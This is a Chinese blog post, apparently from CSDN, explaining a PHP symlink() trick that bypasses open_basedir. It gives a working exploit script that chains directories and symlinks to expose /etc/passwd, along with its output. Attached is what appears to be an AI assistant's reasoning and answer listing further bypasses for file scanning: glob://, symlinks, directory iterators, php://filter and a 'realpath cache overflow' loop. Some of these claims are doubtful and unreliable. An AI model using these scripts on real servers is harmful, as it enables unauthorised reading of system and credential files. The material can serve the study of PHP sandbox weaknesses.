symlink() open_basedir bypass 原理分析

之前在网上看到相关php open_basedir bypass的文章都不是很理解,看了原作者的文章后总算明白了。

原文:http://cxsecurity.com/issue/WLB-2009110068


ok,先来了解一下什么是open_basedir。

open_basedir 将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令不受安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。 

关于open_basedir的更多信息请参考:http://php.net/manual/zh/ini.core.php#ini.open-basedir


再来了解一下symlink()函数。

symlink — 建立符号连接

bool symlink ( string $target , string $link )

symlink() 对于已有的 target 建立一个名为 link 的符号连接

关于symlink()的更多信息请参考:http://php.net/manual/zh/function.symlink.php


接下来是一个例子,之所以能利用symlink()绕过open_basedir的限制,按照作者的话,这算是php的一个逻辑漏洞。

<?php
//sym.php
symlink("/etc/passwd", "./symlink");
?>

如果直接执行上面的文件,将会收到类似下面的提示:

Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www) in
/www/test/sym.php on line 2

这很正常,因为open_basedir=/www/ ,而我们要访问的是/etc/passwd,很明显不在范围之内,故而被拒绝了。


先说一下测试环境:

127# ls -la
total 8
drwxr-xr-x 2 www www 512 Oct 20 00:33 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php

127# pwd
/www/test


刚才用sym.php无法绕过,现在用kakao.php来测试。

<?php
//kakao.php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
?>

成功执行kakao.php后,看一下当前目录有什么变化。

127# ls -la
total 12
drwxr-xr-x 4 www www 512 Oct 20 00:37 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
- -rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
- -rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink


看出来了吧,多了一个链接文件和两个文件夹。此时访问文件exploit就相当于访问/etc/passwd了。

为什么这样就可以了呢?

这是PHP设计之初的一个逻辑缺陷,之所以能够访问"tmplink/../../../etc/passwd",是因为该路径真实存在,而且从头到尾没触发到open_basedir,所以当然可以访问得到。我们需要根据具体要访问的文件来构造目录,使得最终访问到的是我们想要访问的文件。





<think>好的,我现在需要帮助用户了解如何在PHP中绕过open_basedir限制来进行文件扫描。首先,我得回忆一下open_basedir的作用。它用于限制PHP脚本可以访问的目录,增强安全性。但用户想要绕过这个限制,可能有合法测试的需求,比如在授权渗透测试中。不过得注意提醒用户只能在授权情况下操作,避免法律问题。 接下来,我需要收集常见的绕过方法。根据已有的知识,可能有几种方法: 1. 利用glob协议绕过。PHP的glob协议有时可以列出目录内容,可能不受open_basedir限制。比如使用glob://协议结合伪协议来遍历目录。不过需要确认PHP版本和配置是否支持。 2. 使用SplFileInfo类进行目录遍历。SplFileInfo和RecursiveDirectoryIterator有时可能绕过限制,尤其是在某些配置下。比如通过构造路径,逐级跳转目录,比如使用..%2F这样的URL编码,但不确定是否有效,可能取决于PHP版本。 3. 符号链接攻击。如果服务器允许创建符号链接,可能通过创建符号链接到目标目录,然后访问。但需要权限,可能不适用所有环境。 4. 利用错误配置的PHP环境。比如存在可上传文件的位置,通过上传含有恶意代码的文件,然后包含执行,进而绕过限制。或者利用某些扩展模块的漏洞。 5. 使用Realpath缓存漏洞。PHP的realpath缓存可能存在绕过的情况,通过频繁访问特定路径,导致缓存溢出,从而读取其他目录。不过这种方法可能比较复杂,需要具体环境支持。 6. 利用PHP Stream Wrapper。比如通过php://filter或者zip协议等,结合文件包含漏洞,来读取文件。但需要文件包含的存在。 现在需要逐一验证这些方法的有效性,并给出具体示例。比如glob协议的例子,使用DirectoryIterator结合glob://协议。但要注意,某些PHP版本可能已经修复相关问题,或者服务器配置禁用了相关协议。 另外,需要强调这些方法可能违反安全策略,使用前必须获得授权。同时,用户的问题是关于文件扫描,所以可能涉及到目录遍历和文件读取,而不仅仅是执行代码。 然后,考虑如何将这些方法用PHP代码示例展示。比如使用glob协议遍历目录: $dir = 'glob:///var/www/../*'; foreach (scandir($dir) as $file) { // 处理文件 } 但需要注意,这种方法是否真的有效,可能受限于open_basedir的设置。可能需要在绕过open_basedir的情况下才能生效,所以可能需要结合其他漏洞。 另一个例子是利用SplFileInfo,通过递归遍历上级目录: $it = new RecursiveDirectoryIterator('..'); // 遍历目录 但同样,可能被open_basedir限制,除非有方法绕过。 符号链接的方法可能需要服务器允许创建符号链接,比如通过执行系统命令,但受限于PHP的安全设置,如disable_functions。 此外,可能需要利用文件上传漏洞,上传一个PHP脚本到允许的目录,然后通过该脚本执行系统命令,绕过open_basedir。例如,上传一个包含system('ls /')的脚本,然后访问执行。 还需要提到chdir()和ini_set()函数可能被用来改变当前目录或修改配置,但open_basedir的限制通常无法通过ini_set()在运行时修改,因为PHP会限制。 另外,可能存在的漏洞如CVE-2019-11043等远程代码执行漏洞,但需要具体漏洞利用,这可能超出当前问题的范围。 总结下来,可能的有效方法包括利用glob协议、SplFileInfo类遍历、符号链接、结合文件包含漏洞等。但每个方法都需要特定的环境配置,不能保证在所有情况下有效。 最后,需要提醒用户这些方法涉及安全风险,应在合法授权下使用,并建议加强服务器安全配置,如更新PHP版本、限制危险函数、正确设置open_basedir等。</think>在PHP中绕过`open_basedir`限制进行文件扫描需谨慎操作,且仅限合法授权场景。以下是常见技术方法及示例: --- ### 1. **利用`glob://`协议绕过** PHP的`glob://`协议可尝试遍历受限目录外的文件系统: ```php $dir = 'glob:///*'; // 尝试根目录 $files = []; foreach (scandir($dir) as $file) { if (!in_array($file, ['.', '..'])) { $files[] = $file; } } print_r($files); ``` 此方法依赖服务器配置是否允许`glob`协议[^1]。 --- ### 2. **符号链接攻击** 若服务器允许创建符号链接(需权限),可通过软链接跳转路径: ```php symlink('/etc/passwd', 'symlink_passwd'); // 创建指向/etc/passwd的符号链接 readfile('symlink_passwd'); // 尝试读取 ``` 成功与否取决于`open_basedir`是否限制符号链接解析。 --- ### 3. **`SplFileInfo`与目录遍历** 利用`RecursiveDirectoryIterator`递归上级目录: ```php $it = new RecursiveDirectoryIterator('../..'); foreach (new RecursiveIteratorIterator($it) as $file) { echo $file . PHP_EOL; } ``` 某些PHP版本可能忽略路径中的`..`,从而绕过限制。 --- ### 4. **结合文件包含漏洞** 若存在文件包含漏洞,可通过`php://filter`读取文件: ```php include('php://filter/convert.base64-encode/resource=/etc/passwd'); ``` 返回目标文件的Base64编码内容。 --- ### 5. **利用`Realpath`缓存溢出** 通过频繁访问特定路径耗尽缓存,绕过路径检查: ```php for ($i=0; $i<10000; $i++) { realpath("/proc/self/cwd/../../.."); // 可能触发缓存异常,需特定环境支持 } ``` 此方法依赖PHP版本及服务器状态。 --- ### §§防御建议§§ 1. **更新PHP版本**:修复已知漏洞(如CVE-2019-11043)。 2. **禁用危险函数**:如`symlink`、`exec`等。 3. **严格配置`open_basedir`**:避免包含敏感路径。 4. **限制文件操作权限**:最小化PHP进程权限。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值